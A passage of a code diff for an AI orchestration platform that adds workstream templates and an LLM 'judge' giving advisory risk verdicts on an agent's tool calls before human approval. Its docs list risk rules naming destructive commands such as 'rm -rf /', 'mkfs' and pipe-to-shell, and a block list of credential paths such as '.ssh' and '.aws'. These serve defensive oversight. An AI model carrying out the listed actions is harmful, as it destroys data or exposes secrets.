 - **Querying**: `GET /v1/api/admin/audit` with action/user/time filters + pagination
 
 ## Database Schema
@@ -130,6 +157,7 @@ All under `/v1/api/admin/` (requires `approve` scope + granular permission).
 | Tool Policies | 4 (CRUD) | `admin.policies` |
 | Prompt Templates | 4 (CRUD) | `admin.templates` |
 | Schedules | 6 (CRUD + runs) | `admin.schedules` |
+| WS Templates | 7 (CRUD + versions + summary) | `admin.ws_templates` |
 | Watches | 3 (list, create, cancel) | `admin.watches` |
 | Usage | 1 (aggregated query) | `admin.usage` |
 | Audit | 1 (paginated, filtered) | `admin.audit` |
@@ -138,11 +166,12 @@ Full OpenAPI spec at `/openapi.json` and Swagger UI at `/docs`.
 
 ## Admin Console UI
 
-5 new tabs added to the admin panel (10 total):
+6 new tabs added to the admin panel (11 total):
 
 - **Roles** — CRUD roles, permission checkbox grid, user role assignment modal
 - **Policies** — CRUD tool policies with colored action badges (green/red/amber)
 - **Templates** — CRUD prompt templates with wide modal, textarea editor
+- **WS Templates** — CRUD workstream templates with create/edit modals, version history
 - **Usage** — Summary readouts + CSS bar chart, time range + group-by selectors
 - **Audit** — Filterable log with relative timestamps, load-more pagination
 
@@ -158,6 +187,7 @@ Both Python and TypeScript console SDKs expose governance methods:
 - `list_orgs()`, `get_org()`, `update_org()`
 - `list_policies()`, `create_policy()`, `update_policy()`, `delete_policy()`
 - `list_templates()`, `create_template()`, `update_template()`, `delete_template()`
+- `list_ws_templates()`, `create_ws_template()`, `get_ws_template()`, `update_ws_template()`, `delete_ws_template()`, `list_ws_template_versions()`
 - `get_usage(since, group_by=...)`, `get_audit(action=..., limit=...)`
 
 **TypeScript** (`TurnstoneConsole`):

docs/judge.md

@@ -0,0 +1,279 @@
+# Intent Validation (Judge)
+
+> See also: [Judge Architecture diagram](diagrams/png/22-judge-architecture.png)
+
+Intent validation provides advisory risk assessments for tool calls that require
+human approval. An LLM judge evaluates each tool call and presents a structured
+verdict alongside the approval prompt, helping users make informed decisions.
+
+## Overview
+
+When a tool call requires approval, the intent validation system runs a two-tier
+evaluation:
+
+1. **Heuristic tier** (instant) -- Pattern-based risk classification using a
+   rule table. Zero cost, sub-millisecond latency.
+2. **LLM judge tier** (async) -- Semantic evaluation using an LLM with
+   read-only tool access. Runs on a daemon thread and delivers its verdict
+   progressively.
+
+The verdict is purely advisory -- the user always makes the final decision.
+
+The heuristic verdict is attached to the `approve_request` SSE event immediately.
+The LLM verdict arrives later via an `intent_verdict` SSE event, allowing the
+UI to show a spinner that resolves into a richer assessment. Both verdicts are
+persisted to the `intent_verdicts` table for audit and future calibration.
+
+---
+
+## Configuration
+
+### config.toml
+
+```toml
+[judge]
+enabled = true
+model = ""                    # empty = same as session model
+provider = ""                 # empty = same as session provider
+base_url = ""
+api_key = ""
+confidence_threshold = 0.7   # reserved for v2 smart approvals (not used in v1)
+max_context_ratio = 0.5       # max % of judge context window for history
+timeout = 60.0                # seconds (generous for local models)
+read_only_tools = true        # judge can use read_file/list_directory
+```
+
+All fields are optional. The judge is enabled by default; use `enabled = false`
+(or `--no-judge` on the command line) to disable it.
+
+### CLI flags
+
+```
+--judge / --no-judge           Enable/disable (default: enabled)
+--judge-model MODEL            Model for judge
+--judge-provider PROVIDER      Provider for judge
+--judge-timeout SECONDS        LLM judge timeout (default: 60)
+--judge-confidence FLOAT       Confidence threshold (default: 0.7)
+```
+
+CLI flags override `config.toml` values.
+
+---
+
+## Judge Model Selection
+
+- **Default (self-consistency)**: When `model` is empty, the session model
+  evaluates its own tool calls. Research shows self-consistency achieves
+  comparable accuracy to multi-agent debate at a fraction of the cost.
+- **Cross-model**: Use a different model for the judge (e.g. local model for
+  the session, commercial model for the judge). Set `model` and `provider`
+  in the `[judge]` config section, or use `--judge-model` / `--judge-provider`
+  CLI flags.
+- **Cross-provider**: When both `model` and `provider` are set, the judge
+  creates its own LLM client. You can optionally specify `base_url` and
+  `api_key` for non-default endpoints.
+
+---
+
+## Heuristic Rules
+
+The heuristic tier scans a priority-ordered rule table (critical first, low
+last) and returns the first matching rule. Each rule has:
+
+- **Tool pattern**: fnmatch glob matched against `func_name` and `approval_label`
+- **Argument patterns**: Regex patterns matched against the tool's primary
+  argument text (command string for bash, path for file tools, JSON for others)
+- **Risk level, confidence, and recommendation**: Pre-assigned per rule
+
+### Rule tiers
+
+| Tier     | Confidence | Recommendation | Examples |
+|----------|-----------|----------------|----------|
+| Critical | 0.90      | deny           | `rm -rf /`, `mkfs`, `dd if=`, pipe-to-shell, chmod 777 on root, write/edit to `/etc/`, `.ssh/` |
+| High     | 0.80      | review         | `sudo`, `kill -9`, destructive git (`reset --hard`, `push --force`, `clean -f`), DROP TABLE, write/edit secrets (`.env`, `.pem`, `.key`), HTTP mutations, `ssh`/`scp` |
+| Medium   | 0.70      | review         | Package installs (`pip`, `npm`, `apt`, `brew`, `cargo`), `write_file` (default), MCP tool calls, Docker operations |
+| Low      | 0.85      | approve        | `read_file`, `list_directory`, `search`, `recall`, `man`, `use_prompt`, read-only bash commands (`ls`, `cat`, `head`, `grep`, `find`, etc.) |
+
+When no rule matches, the heuristic returns a default verdict: medium risk,
+0.50 confidence, "review" recommendation.
+
+The bash "read-only" rule handles simple pipelines and command chains by
+splitting on `|`, `&&`, `||`, and `;`, then checking each segment individually.
+
+---
+
+## LLM Judge
+
+The LLM judge runs on a daemon thread and performs a multi-turn evaluation:
+
+1. **Context preparation**: Recent conversation history is FIFO-truncated to
+   fit within `max_context_ratio` of the judge's context window. The tool call
+   details (name, approval label, full arguments) are appended as a user message.
+2. **Multi-turn loop** (up to 5 turns): The judge can use `read_file` and
+   `list_directory` to gather evidence before rendering its verdict. Each tool
+   result is appended to the conversation and the judge is called again. On
+   the final turn, tools are stripped and a forcing message instructs the
+   judge to render its verdict immediately.
+3. **Verdict parsing**: The judge's final text response is parsed as JSON using
+   a four-stage strategy: direct parse, markdown code block extraction,
+   brace-counting, and regex field extraction as a last resort.
+4. **Arbitration**: If the LLM verdict has higher confidence than the heuristic,
+   it replaces the heuristic via the `intent_verdict` SSE event.
+
+### Read-only tools
+
+When `read_only_tools` is enabled (default), the judge can use two tools:
+
+- **`read_file`**: Read file contents (capped at 32 KB)
+- **`list_directory`**: List directory entries (capped at 200 entries)
+
+Security hardening blocks access to sensitive paths:
+
+| Category | Blocked patterns |
+|----------|-----------------|
+| System directories | `/etc/`, `/root/`, `/proc/`, `/sys/`, `/dev/` |
+| Credential directories | `.ssh`, `.gnupg`, `.aws`, `.config` |
+| Key files | `*.pem`, `*.key`, `*.p12`, `*.pfx` |
+
+### Timeout
+
+The `timeout` setting (default 60 seconds) is a total budget across all judge
+turns. Time is decremented after each LLM call. If the budget expires mid-turn,
+the judge attempts to parse whatever partial response is available.
+
+---
+
+## Verdict Structure
+
+Each verdict (heuristic or LLM) is an `IntentVerdict` with these fields:
+
+| Field            | Type       | Description |
+|------------------|------------|-------------|
+| `verdict_id`     | string     | Unique identifier (UUID prefix) |
+| `call_id`        | string     | Correlates with the tool call's `call_id` |
+| `func_name`      | string     | Tool function name |
+| `intent_summary` | string     | One-sentence description of what the tool call does |
+| `risk_level`     | string     | `"low"`, `"medium"`, `"high"`, or `"critical"` |
+| `confidence`     | float      | 0.0--1.0, how certain the assessment is |
+| `recommendation` | string     | `"approve"`, `"review"`, or `"deny"` |
+| `reasoning`      | string     | Explanation of the assessment |
+| `evidence`       | list[str]  | Supporting evidence (rule name or file excerpts) |
+| `tier`           | string     | `"heuristic"` or `"llm"` |
+| `judge_model`    | string     | Model used (empty for heuristic tier) |
+| `latency_ms`     | int        | Evaluation time in milliseconds |
+
+---
+
+## Session Integration
+
+The judge is lazy-initialized on first use. When `ChatSession` prepares tool
+calls for approval, it calls `_evaluate_intent()` which:
+
+1. Instantiates `IntentJudge` if not already created
+2. Extracts `func_name`, `func_args`, and `approval_label` from each pending item
+3. Calls `judge.evaluate()` which returns heuristic verdicts immediately
+4. Attaches each heuristic verdict to its item as `_heuristic_verdict`
+5. The daemon thread runs the LLM judge and delivers results via `ui.on_intent_verdict()`
+
+Sub-agents (plan agent, task agent) are exempt from intent validation -- they
+always get full tool visibility without judge evaluation.
+
+---
+
+## Storage and Audit
+
+All verdicts are persisted to the `intent_verdicts` table (migration 012):
+
+- Heuristic verdicts are stored when the `approve_request` event is emitted
+- LLM verdicts are stored when the `intent_verdict` event is delivered
+- The `user_decision` column is updated when the user approves or denies
+
+The console admin panel exposes verdict history via:
+
+```
+GET /v1/api/admin/verdicts?ws_id=&since=&until=&risk_level=&limit=100&offset=0
+```
+
+This endpoint requires the `admin.judge` permission.
+
+---
+
+## SSE Events
+
+### `approve_request` (extended)
+
+When the judge is active, `approve_request` items include a `verdict` field
+with the heuristic verdict, and the event includes a `judge_pending` flag
+indicating that an LLM verdict is in flight:
+
+```json
+{
+  "type": "approve_request",
+  "judge_pending": true,
+  "items": [
+    {
+      "call_id": "call_abc123",
+      "header": "bash: npm install express",
+      "preview": "",
+      "func_name": "bash",
+      "approval_label": "bash",
+      "needs_approval": true,
+      "error": null,
+      "verdict": {
+        "verdict_id": "a1b2c3d4e5f6",
+        "call_id": "call_abc123",
+        "func_name": "bash",
+        "intent_summary": "Package installation: npm install express",
+        "risk_level": "medium",
+        "confidence": 0.70,
+        "recommendation": "review",
+        "reasoning": "Command installs a software package which may modify the environment.",
+        "evidence": ["Matched rule: package-install"],
+        "tier": "heuristic",
+        "judge_model": "",
+        "latency_ms": 0
+      }
+    }
+  ]
+}
+```
+
+### `intent_verdict`
+
+Delivered asynchronously when the LLM judge completes. The UI replaces the
+heuristic verdict badge with the LLM verdict:
+
+```json
+{
+  "type": "intent_verdict",
+  "verdict_id": "f7e8d9c0b1a2",
+  "call_id": "call_abc123",
+  "func_name": "bash",
+  "intent_summary": "Install Express.js web framework via npm",
+  "risk_level": "medium",
+  "confidence": 0.85,
+  "recommendation": "review",
+  "reasoning": "The command installs express from npm. This is a well-known package but will modify node_modules and package.json.",
+  "evidence": ["Checked package.json — express is not currently a dependency"],
+  "tier": "llm",
+  "judge_model": "gpt-5",
+  "latency_ms": 2340
+}
+```
+
+---
+
+## v2 Calibration Path
+
+Run v1 with all tools requiring manual approval to build a local verdict
+dataset. The `intent_verdicts` table accumulates `(tool_call, verdict,
+user_decision)` triples over time. In v2, calibration tooling will analyze
+this dataset to:
+
+- Identify tools that are always approved (candidates for auto-approve policies)
+- Detect false positives in heuristic rules
+- Measure LLM judge accuracy against human decisions
+- Recommend policy changes to reduce approval fatigue
+
+This data-driven approach means v1 is both useful on its own and a foundation
+for automated policy tuning.

docs/sdk.md

@@ -69,7 +69,7 @@ Both `TurnstoneServer` (sync) and `AsyncTurnstoneServer` (async) expose:
 |----------|--------|---------|
 | **Workstreams** | `list_workstreams()` | `ListWorkstreamsResponse` |
 | | `dashboard()` | `DashboardResponse` |
-| | `create_workstream(*, name, model, auto_approve)` | `CreateWorkstreamResponse` |
+| | `create_workstream(*, name, model, auto_approve, ws_template)` | `CreateWorkstreamResponse` |
 | | `close_workstream(ws_id)` | `StatusResponse` |
 | **Chat** | `send(message, ws_id)` | `SendResponse` |
 | | `approve(*, ws_id, approved, feedback, always)` | `StatusResponse` |
@@ -97,13 +97,19 @@ Both `TurnstoneConsole` (sync) and `AsyncTurnstoneConsole` (async) expose:
 | | `workstreams(*, state, node, search, sort, page, per_page)` | `ClusterWorkstreamsResponse` |
 | | `node_detail(node_id)` | `NodeDetailResponse` |
 | | `snapshot()` | `ClusterSnapshotResponse` |
-| | `create_workstream(*, node_id, name, model, initial_message)` | `ConsoleCreateWsResponse` |
+| | `create_workstream(*, node_id, name, model, initial_message, ws_template)` | `ConsoleCreateWsResponse` |
 | **Schedules** | `list_schedules()` | `ListSchedulesResponse` |
 | | `create_schedule(*, name, schedule_type, initial_message, ...)` | `ScheduleInfo` |
 | | `get_schedule(task_id)` | `ScheduleInfo` |
 | | `update_schedule(task_id, *, name=..., enabled=..., ...)` | `ScheduleInfo` |
 | | `delete_schedule(task_id)` | `StatusResponse` |
 | | `list_schedule_runs(task_id, *, limit=50)` | `ListScheduleRunsResponse` |
+| **WS Templates** | `list_ws_templates()` | `ListWsTemplatesResponse` |
+| | `create_ws_template(*, name, description, ...)` | `WsTemplateInfo` |
+| | `get_ws_template(template_id)` | `WsTemplateInfo` |
+| | `update_ws_template(template_id, *, name=..., enabled=..., ...)` | `WsTemplateInfo` |
+| | `delete_ws_template(template_id)` | `StatusResponse` |
+| | `list_ws_template_versions(template_id)` | `ListWsTemplateVersionsResponse` |
 | **Streaming** | `stream_cluster_events()` | `Iterator[ClusterEvent]` |
 | **Auth** | `login(username=..., password=...)` / `login(token="ts_xxx")` | `AuthLoginResponse` |
 | | `logout()` | `StatusResponse` |

pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "turnstone"
-version = "0.5.6"
+version = "0.6.0"
 description = "Multi-node AI orchestration platform with tool use, agent routing, and cluster simulation."
 readme = "README.md"
 license = "BUSL-1.1"

sdk/typescript/openapi-console.json

@@ -755,6 +755,12 @@
             "description": "Prompt template name (replaces default templates)",
             "title": "Template",
             "type": "string"
+          },
+          "ws_template": {
+            "default": "",
+            "description": "Workstream template name (behavioral profile applied at creation)",
+            "title": "Ws Template",
+            "type": "string"
           }
         },
         "title": "ConsoleCreateWsRequest",

sdk/typescript/openapi-server.json

@@ -883,6 +883,12 @@
             "description": "Prompt template name (replaces default templates)",
             "title": "Template",
             "type": "string"
+          },
+          "ws_template": {
+            "default": "",
+            "description": "Workstream template name (behavioral profile applied at creation)",
+            "title": "Ws Template",
+            "type": "string"
           }
         },
         "title": "CreateWorkstreamRequest",

sdk/typescript/src/console.ts

@@ -17,6 +17,7 @@ import type {
   CreateRoleOptions,
   CreateScheduleRequest,
   CreateTemplateOptions,
+  CreateWsTemplateOptions,
   ListScheduleRunsResponse,
   ListSchedulesResponse,
   NodeDetailResponse,
@@ -32,10 +33,13 @@ import type {
   UpdateRoleOptions,
   UpdateScheduleRequest,
   UpdateTemplateOptions,
+  UpdateWsTemplateOptions,
   UsageQueryOptions,
   UsageResponse,
   UserRoleInfo,
   WorkstreamsOptions,
+  WsTemplateInfo,
+  WsTemplateVersionInfo,
 } from "./types.js";
 
 /** Async client for the turnstone console API. */
@@ -273,6 +277,51 @@ export class TurnstoneConsole extends BaseClient {
     return this.request("DELETE", `/v1/api/admin/templates/${templateId}`);
   }
 
+  // -- Governance: Workstream Templates ----------------------------------------
+
+  async listWsTemplates(): Promise<WsTemplateInfo[]> {
+    const data = await this.request<{ ws_templates: WsTemplateInfo[] }>(
+      "GET",
+      "/v1/api/admin/ws-templates",
+    );
+    return data.ws_templates || [];
+  }
+
+  async createWsTemplate(
+    opts: CreateWsTemplateOptions,
+  ): Promise<WsTemplateInfo> {
+    return this.request("POST", "/v1/api/admin/ws-templates", {
+      json: opts,
+    });
+  }
+
+  async getWsTemplate(wsTemplateId: string): Promise<WsTemplateInfo> {
+    return this.request("GET", `/v1/api/admin/ws-templates/${wsTemplateId}`);
+  }
+
+  async updateWsTemplate(
+    wsTemplateId: string,
+    opts: UpdateWsTemplateOptions,
+  ): Promise<WsTemplateInfo> {
+    return this.request("PUT", `/v1/api/admin/ws-templates/${wsTemplateId}`, {
+      json: opts,
+    });
+  }
+
+  async deleteWsTemplate(wsTemplateId: string): Promise<void> {
+    await this.request("DELETE", `/v1/api/admin/ws-templates/${wsTemplateId}`);
+  }
+
+  async listWsTemplateVersions(
+    wsTemplateId: string,
+  ): Promise<WsTemplateVersionInfo[]> {
+    const data = await this.request<{ versions: WsTemplateVersionInfo[] }>(
+      "GET",
+      `/v1/api/admin/ws-templates/${wsTemplateId}/versions`,
+    );
+    return data.versions || [];
+  }
+
   // -- Governance: Usage & Audit ----------------------------------------------
 
   async getUsage(opts: UsageQueryOptions): Promise<UsageResponse> {

sdk/typescript/src/index.ts

@@ -129,6 +129,10 @@ export type {
   PromptTemplateInfo,
   CreateTemplateOptions,
   UpdateTemplateOptions,
+  WsTemplateInfo,
+  CreateWsTemplateOptions,
+  UpdateWsTemplateOptions,
+  WsTemplateVersionInfo,
   UsageBreakdownItem,
   UsageResponse,
   UsageQueryOptions,

sdk/typescript/src/types.ts

@@ -73,6 +73,7 @@ export interface CreateWorkstreamRequest {
   auto_approve?: boolean;
   resume_ws?: string;
   template?: string;
+  ws_template?: string;
 }
 
 export interface CreateWorkstreamResponse {
@@ -275,6 +276,7 @@ export interface ConsoleCreateWsRequest {
   model?: string;
   initial_message?: string;
   template?: string;
+  ws_template?: string;
 }
 
 export interface ConsoleCreateWsResponse {
@@ -483,6 +485,78 @@ export interface UpdateTemplateOptions {
   is_default?: boolean;
 }
 
+// ---------------------------------------------------------------------------
+// Console API — Governance: Workstream Templates
+// ---------------------------------------------------------------------------
+
+export interface WsTemplateInfo {
+  ws_template_id: string;
+  name: string;
+  description: string;
+  system_prompt: string;
+  prompt_template: string;
+  prompt_template_hash: string;
+  model: string;
+  auto_approve: boolean;
+  auto_approve_tools: string;
+  temperature: number | null;
+  reasoning_effort: string;
+  max_tokens: number | null;
+  token_budget: number;
+  agent_max_turns: number | null;
+  notify_on_complete: string;
+  org_id: string;
+  created_by: string;
+  enabled: boolean;
+  version: number;
+  created: string;
+  updated: string;
+}
+
+export interface CreateWsTemplateOptions {
+  name: string;
+  description?: string;
+  system_prompt?: string;
+  prompt_template?: string;
+  model?: string;
+  auto_approve?: boolean;
+  auto_approve_tools?: string;
+  temperature?: number | null;
+  reasoning_effort?: string;
+  max_tokens?: number | null;
+  token_budget?: number;
+  agent_max_turns?: number | null;
+  notify_on_complete?: string;
+  org_id?: string;
+  enabled?: boolean;
+}
+
+export interface UpdateWsTemplateOptions {
+  name?: string;
+  description?: string;
+  system_prompt?: string;
+  prompt_template?: string;
+  model?: string;
+  auto_approve?: boolean;
+  auto_approve_tools?: string;
+  temperature?: number | null;
+  reasoning_effort?: string;
+  max_tokens?: number | null;
+  token_budget?: number;
+  agent_max_turns?: number | null;
+  notify_on_complete?: string;
+  enabled?: boolean;
+}
+
+export interface WsTemplateVersionInfo {
+  id: number;
+  ws_template_id: string;
+  version: number;
+  snapshot: string;
+  changed_by: string;
+  created: string;
+}
+
 // ---------------------------------------------------------------------------
 // Console API — Governance: Usage & Audit
 // ---------------------------------------------------------------------------

tests/test_channel_discord.py

@@ -327,6 +327,7 @@ class TestWsEventFinalization:
         bot.config.auto_approve = False
         bot.config.auto_approve_tools = []
         bot._streaming = {}
+        bot._pending_approval_msgs = {}
 
         # Use the real _on_ws_event method
         bot._on_ws_event = TurnstoneBot._on_ws_event.__get__(bot, TurnstoneBot)
@@ -354,6 +355,7 @@ class TestWsEventFinalization:
 
         bot = MagicMock(spec=TurnstoneBot)
         bot._streaming = {}
+        bot._pending_approval_msgs = {}
         bot._on_ws_event = TurnstoneBot._on_ws_event.__get__(bot, TurnstoneBot)
 
         thread = AsyncMock()
@@ -365,6 +367,152 @@ class TestWsEventFinalization:
         assert "ws-1" not in bot._streaming
 
 
+# ---------------------------------------------------------------------------
+# Verdict display in approval embeds
+# ---------------------------------------------------------------------------
+
+
+class TestApprovalVerdictDisplay:
+    """Approval requests should include verdict fields in the Discord embed."""
+
+    def _make_bot(self):
+        """Build a mock TurnstoneBot with _on_ws_event bound."""
+        from turnstone.channels.discord.bot import TurnstoneBot
+
+        bot = MagicMock(spec=TurnstoneBot)
+        bot.config = MagicMock()
+        bot.config.max_message_length = 2000
+        bot.config.streaming_edit_interval = 1.5
+        bot.config.auto_approve = False
+        bot.config.auto_approve_tools = []
+        bot._streaming = {}
+        bot._pending_approval_msgs = {}
+        bot._should_auto_approve = MagicMock(return_value=False)
+        bot._on_ws_event = TurnstoneBot._on_ws_event.__get__(bot, TurnstoneBot)
+        return bot
+
+    def test_approval_with_heuristic_verdict(self):
+        """ApprovalRequestEvent items with verdict dicts add embed fields."""
+        from turnstone.mq.protocol import ApprovalRequestEvent
+
+        bot = self._make_bot()
+        thread = AsyncMock()
+        sent_msg = MagicMock()
+        thread.send = AsyncMock(return_value=sent_msg)
+
+        items = [
+            {
+                "func_name": "bash",
+                "preview": "rm -rf /tmp",
+                "needs_approval": True,
+                "verdict": {
+                    "risk_level": "high",
+                    "recommendation": "deny",
+                    "confidence": 0.85,
+                    "intent_summary": "Deleting temp files",
+                    "tier": "heuristic",
+                },
+            }
+        ]
+        raw = ApprovalRequestEvent(ws_id="ws-1", correlation_id="corr-1", items=items).to_json()
+        _run(bot._on_ws_event("ws-1", thread, raw))
+
+        # thread.send was called with an embed containing a verdict field
+        thread.send.assert_awaited_once()
+        call_kwargs = thread.send.call_args[1]
+        embed = call_kwargs["embed"]
+        # discord.Embed.fields is a list of EmbedProxy objects
+        assert len(embed.fields) == 1
+        field = embed.fields[0]
+        assert field.name == "Verdict: bash"
+        assert "HIGH" in field.value
+        assert "85%" in field.value
+
+        # Pending approval message tracked
+        assert "ws-1" in bot._pending_approval_msgs
+
+    def test_approval_without_verdict(self):
+        """ApprovalRequestEvent items without verdict still work normally."""
+        from turnstone.mq.protocol import ApprovalRequestEvent
+
+        bot = self._make_bot()
+        thread = AsyncMock()
+        sent_msg = MagicMock()
+        thread.send = AsyncMock(return_value=sent_msg)
+
+        items = [{"func_name": "read_file", "preview": "/etc/hosts", "needs_approval": True}]
+        raw = ApprovalRequestEvent(ws_id="ws-1", correlation_id="corr-1", items=items).to_json()
+        _run(bot._on_ws_event("ws-1", thread, raw))
+
+        thread.send.assert_awaited_once()
+        call_kwargs = thread.send.call_args[1]
+        embed = call_kwargs["embed"]
+        # No verdict field added
+        assert len(embed.fields) == 0
+
+    def test_intent_verdict_event_updates_embed(self):
+        """IntentVerdictEvent should update the pending approval embed."""
+        from turnstone.mq.protocol import IntentVerdictEvent
+
+        bot = self._make_bot()
+        thread = AsyncMock()
+
+        # Set up a pending approval message with a mock embed
+        msg = MagicMock()
+        embed = MagicMock()
+        msg.embeds = [embed]
+        msg.edit = AsyncMock()
+        bot._pending_approval_msgs["ws-1"] = msg
+
+        raw = IntentVerdictEvent(
+            ws_id="ws-1",
+            func_name="bash",
+            risk_level="high",
+            recommendation="deny",
+            confidence=0.9,
+            intent_summary="Dangerous operation",
+            tier="llm",
+        ).to_json()
+        _run(bot._on_ws_event("ws-1", thread, raw))
+
+        # Embed should be updated with the judge verdict field
+        embed.add_field.assert_called_once()
+        field_kwargs = embed.add_field.call_args[1]
+        assert field_kwargs["name"] == "Judge Verdict: bash"
+        assert "HIGH" in field_kwargs["value"]
+        assert "90%" in field_kwargs["value"]
+
+        # Message should be edited
+        msg.edit.assert_awaited_once()
+
+    def test_intent_verdict_without_pending_approval_is_noop(self):
+        """IntentVerdictEvent without a pending approval message should not error."""
+        from turnstone.mq.protocol import IntentVerdictEvent
+
+        bot = self._make_bot()
+        thread = AsyncMock()
+
+        raw = IntentVerdictEvent(ws_id="ws-1", func_name="bash", risk_level="low").to_json()
+        # Should not raise
+        _run(bot._on_ws_event("ws-1", thread, raw))
+
+    def test_turn_complete_clears_pending_approval(self):
+        """TurnCompleteEvent should clean up the pending approval message tracking."""
+        from turnstone.channels.discord.bot import TurnstoneBot
+        from turnstone.mq.protocol import TurnCompleteEvent
+
+        bot = MagicMock(spec=TurnstoneBot)
+        bot._streaming = {}
+        bot._pending_approval_msgs = {"ws-1": MagicMock()}
+        bot._on_ws_event = TurnstoneBot._on_ws_event.__get__(bot, TurnstoneBot)
+
+        thread = AsyncMock()
+        raw = TurnCompleteEvent(ws_id="ws-1", correlation_id="").to_json()
+        _run(bot._on_ws_event("ws-1", thread, raw))
+
+        assert "ws-1" not in bot._pending_approval_msgs
+
+
 class TestChannelCLI:
     """Tests for the channel CLI entry point."""
 

tests/test_channel_protocol.py

@@ -6,6 +6,7 @@ from turnstone.channels._formatter import (
     chunk_message,
     format_approval_request,
     format_plan_review,
+    format_verdict,
     truncate,
 )
 from turnstone.channels._protocol import ChannelEvent
@@ -183,6 +184,81 @@ class TestFormatPlanReview:
         assert "Step 1: do stuff" in result
 
 
+# ---------------------------------------------------------------------------
+# format_verdict
+# ---------------------------------------------------------------------------
+
+
+class TestFormatVerdict:
+    def test_low_risk(self) -> None:
+        verdict = {
+            "risk_level": "low",
+            "recommendation": "allow",
+            "confidence": 0.95,
+            "intent_summary": "Reading a config file",
+            "tier": "heuristic",
+        }
+        result = format_verdict(verdict)
+        assert "HEURISTIC" in result
+        assert "LOW" in result
+        assert "95%" in result
+        assert "allow" in result
+        assert "_Reading a config file_" in result
+        # Green circle emoji
+        assert "\U0001f7e2" in result
+
+    def test_high_risk(self) -> None:
+        verdict = {
+            "risk_level": "high",
+            "recommendation": "deny",
+            "confidence": 0.8,
+        }
+        result = format_verdict(verdict)
+        assert "HIGH" in result
+        assert "80%" in result
+        assert "deny" in result
+        # Red circle emoji
+        assert "\U0001f534" in result
+
+    def test_critical_risk(self) -> None:
+        verdict = {"risk_level": "critical", "confidence": 0.99}
+        result = format_verdict(verdict)
+        assert "CRITICAL" in result
+        assert "\u26d4" in result
+
+    def test_medium_risk_default(self) -> None:
+        """Empty risk_level defaults to MEDIUM."""
+        result = format_verdict({})
+        assert "MEDIUM" in result
+        assert "50%" in result
+        assert "review" in result
+
+    def test_no_summary_omits_line(self) -> None:
+        verdict = {"risk_level": "low", "confidence": 0.7}
+        result = format_verdict(verdict)
+        # Should be a single line (no summary italic line).
+        assert "\n" not in result
+
+    def test_with_summary(self) -> None:
+        verdict = {"risk_level": "low", "intent_summary": "Safe operation"}
+        result = format_verdict(verdict)
+        lines = result.split("\n")
+        assert len(lines) == 2
+        assert "_Safe operation_" in lines[1]
+
+    def test_tier_label(self) -> None:
+        verdict = {"tier": "llm", "risk_level": "medium"}
+        result = format_verdict(verdict)
+        assert "LLM " in result
+
+    def test_no_tier_no_label(self) -> None:
+        verdict = {"risk_level": "low"}
+        result = format_verdict(verdict)
+        assert "Risk: LOW" in result
+        # No double space or extra label prefix.
+        assert "** " not in result or "**Risk:" in result
+
+
 # ---------------------------------------------------------------------------
 # truncate
 # ---------------------------------------------------------------------------

tests/test_config.py

@@ -179,3 +179,53 @@ def test_tavily_key_fallback_to_env(tmp_path, monkeypatch):
 
     key = config_mod.get_tavily_key()
     assert key == "tvly-from-env"
+
+
+def test_apply_config_judge_section(tmp_path, monkeypatch):
+    """apply_config() loads [judge] section and maps to argparse dests."""
+    _reset_cache()
+    cfg = tmp_path / "config.toml"
+    cfg.write_text(
+        "[judge]\n"
+        "enabled = true\n"
+        'model = "gpt-5"\n'
+        "confidence_threshold = 0.85\n"
+        "timeout = 30.0\n"
+        "read_only_tools = false\n"
+    )
+    monkeypatch.setattr(config_mod, "CONFIG_PATH", cfg)
+
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--judge", dest="judge_enabled", action="store_true", default=False)
+    parser.add_argument("--judge-model", dest="judge_model", default="")
+    parser.add_argument("--judge-confidence", dest="judge_confidence", type=float, default=0.7)
+    parser.add_argument("--judge-timeout", dest="judge_timeout", type=float, default=60.0)
+    parser.add_argument("--judge-read-only-tools", dest="judge_read_only_tools", default=True)
+
+    apply_config(parser, ["judge"])
+    args = parser.parse_args([])
+
+    assert args.judge_enabled is True
+    assert args.judge_model == "gpt-5"
+    assert args.judge_confidence == 0.85
+    assert args.judge_timeout == 30.0
+    assert args.judge_read_only_tools is False
+
+
+def test_apply_config_judge_cli_overrides(tmp_path, monkeypatch):
+    """CLI flags override config.toml [judge] values."""
+    _reset_cache()
+    cfg = tmp_path / "config.toml"
+    cfg.write_text("[judge]\nenabled = true\nconfidence_threshold = 0.85\n")
+    monkeypatch.setattr(config_mod, "CONFIG_PATH", cfg)
+
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--judge", dest="judge_enabled", action="store_true", default=False)
+    parser.add_argument("--no-judge", dest="judge_enabled", action="store_false")
+    parser.add_argument("--judge-confidence", dest="judge_confidence", type=float, default=0.7)
+
+    apply_config(parser, ["judge"])
+    args = parser.parse_args(["--no-judge"])
+
+    assert args.judge_enabled is False  # CLI wins
+    assert args.judge_confidence == 0.85  # config wins (no CLI override)

tests/test_judge.py

@@ -0,0 +1,522 @@
+"""Tests for the IntentJudge LLM evaluation engine."""
+
+from __future__ import annotations
+
+import json
+import time
+from pathlib import Path
+from typing import Any
+from unittest.mock import MagicMock
+
+from turnstone.core.judge import IntentJudge, IntentVerdict, JudgeConfig
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+def _make_mock_provider(
+    response_content: str = "",
+    tool_calls: list[dict[str, Any]] | None = None,
+    *,
+    side_effect: Exception | None = None,
+) -> MagicMock:
+    """Create a mock LLM provider that returns a fixed response."""
+    provider = MagicMock()
+    caps = MagicMock()
+    caps.context_window = 100_000
+    caps.max_output_tokens = 4096
+    provider.get_capabilities.return_value = caps
+
+    result = MagicMock()
+    result.content = response_content
+    result.tool_calls = tool_calls
+    result.finish_reason = "stop"
+    result.usage = None
+
+    if side_effect:
+        provider.create_completion.side_effect = side_effect
+    else:
+        provider.create_completion.return_value = result
+
+    provider.convert_tools.side_effect = lambda tools, **kw: tools
+
+    return provider
+
+
+def _make_judge(
+    provider: MagicMock | None = None,
+    *,
+    confidence_threshold: float = 0.7,
+    read_only_tools: bool = True,
+    timeout: float = 60.0,
+) -> IntentJudge:
+    """Create a judge with a mock provider."""
+    if provider is None:
+        provider = _make_mock_provider()
+
+    config = JudgeConfig(
+        enabled=True,
+        confidence_threshold=confidence_threshold,
+        read_only_tools=read_only_tools,
+        timeout=timeout,
+    )
+    client = MagicMock()
+    return IntentJudge(
+        config=config,
+        session_provider=provider,
+        session_client=client,
+        session_model="test-model",
+        context_window=100_000,
+    )
+
+
